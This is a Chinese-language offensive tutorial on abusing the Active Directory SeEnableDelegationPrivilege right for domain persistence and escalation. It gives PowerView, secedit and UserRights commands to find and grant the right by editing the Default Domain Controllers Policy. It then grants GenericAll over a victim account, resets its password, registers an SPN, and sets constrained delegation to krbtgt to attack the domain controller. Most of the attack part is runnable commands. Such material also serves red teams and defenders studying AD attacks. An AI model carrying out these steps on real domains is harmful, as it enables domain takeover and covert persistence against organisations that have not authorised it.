SeEnableDelegationPrivilege
是在域控制器的本地安全策略中控制的用户权限,并通过组策略进行管理。该权限配置在本地策略中的用户权限分配,策略名为:信任计算机和用户帐户可以执行委派"
。
如果得到一个拥有此权限的域用户,那么就可以通过设置委派来攻击域控或者当你得到域控权限的时候通过给某用户添加SeEnableDelegationPrivilege
来进行域控权限维持,下文将讲解一下利用过程。
注: 更多权限请查看微软手册:https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn221963(v=ws.11)?redirectedfrom=MSDN
域上一般默认有两个GPO:Default Domain Policy
和Default Domain Controllers Policy
,这只是他们显示的名称,他们实际名称为它们的GUID,分别为:{31B2F340-016D-11D2-945F-00C04FB984F9}
和{6AC1786C-016F-11D2-945F-00C04fB984F9}
可以通过powerview枚举域中的所有GPO
Get-DomainGPO
查找指定GPO
Get-DomainGPO -Identity "Default Domain Controllers Policy"
其中gpcfilesyspath
为该GPO策略文件的位置。
我们可以通过GPO
为Default Domain Controllers Policy
的GptTmpl.inf
文件来寻找域中哪些用户(组)分配了SeEnableDelegationPrivilege
,GptTmpl.inf
文件位于\\<domain>\SYSVOL\<domain>\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf
type "\\test.local\SYSVOL\test.local\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
还可以通过secedit来查看,和GPO一个道理
注: secedit为组策略的命令行版本
secedit /export /cfg secpolicy.inf /areas USER_RIGHTS
参数:
/export
:导出组策略
/cfg
:指定安全模板的路径和名称
/areas
:指定允许系统的安全区域,我们这里是USER_RIGHTS
:指定登录用户的权限和允许特权
powershell的话可以使用UserRights
,下载地址:地址
另外还可以使用powerview
$p = Get-DomainPolicy -Source DC
$p["Privilege Rights"]
默认情况下,只有BUILTIN\Administrators
的成员(即Domain Admins/Enterprise Admins/etc
)拥有SeEnableDelegationPrivilege
权限,普通用户是没有此权限的,所有下面将列举给普通用户添加SeEnableDelegationPrivilege
权限的方法。
通过修改{6AC1786C-016F-11D2-945F-00C04fB984F9}
的GptTmpl.inf
文件就可以给指定用户添加SeEnableDelegationPrivilege
权限。
将用户SID或用户名添加到[Privilege Rights]
下的SeEnableDelegationPrivilege
中,当DC重启或者刷新其组策略时,该设置就会生效。
添加之后刷新组策略让其设置生效
gpupdate /force
使用powerview
验证是否成功添加
$p = Get-DomainPolicy -Source DC
$p.PrivilegeRights
"S-1-5-21-662417213-3583657854-423750704-1001" |Convert-SidToName
导出配置文件
secedit /export /cfg secpolicy.inf /areas USER_RIGHTS
导出之后,在[Privilege Rights]
项下的SeEnableDelegationPrivilege
添加用户的SID或者用户名
将修改之后的配置覆盖掉当前设置
secedit /configure /db secedit.sdb /cfg secpolicy.inf /overwrite /areas USER_RIGHTS
使用UserRight给指定用户添加权限
Grant-UserRight -Account qiyou -Right SeEnableDelegationPrivilege
验证
Get-AccountsWithUserRight -Right SeEnableDelegationPrivilege
当得到SeEnableDelegationPrivilege
权限之后,我们需要寻找一个域内对象来做为受害者(也可以是自己),这里就以其它用户test
为例
注: 如果受害者是自己那么不用接下来的这些操作了,直接设置委派就可以了
添加对指定用户的完全访问权限,这添加qiyou
对test
的完全访问权限
Add-DomainObjectAcl -TargetIdentity 'f9f0db29-83b3-4a0c-8966-e1db3371d028' -PrincipalIdentity qiyou -Rights All
验证权限
Get-DomainObjectAcl -Identity test | ?{$_.SecurityIdentifier -match "S-1-5-21-662417213-3583657854-423750704-1001"}
可以看到用户qiyou
对用户test
已经拥有了完全访问权限GenericAll
,这时候我们可以不知道用户test密码情况下强行更改用户test的密码、注册SPN等等。
现在切换到登陆了qiyou
这个用户的另外一台域内主机
以qiyou
的身份给用test注册SPN和修改密码
然后给用户test设置约束委派
Import-Module .\Microsoft.ActiveDirectory.Management.dll
$user = Get-ADUser test
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/test.local")}
验证是否成功添加
Get-DomainUser –TrustedToAuth -domain test.local -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl
然后就可以通过约束委派去攻击域控了,关于约束委派攻击可以参考这篇文章:地址,我这里就不多赘述了
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn221963(v=ws.11)?redirectedfrom=MSDN?redirectedfrom=MSDN)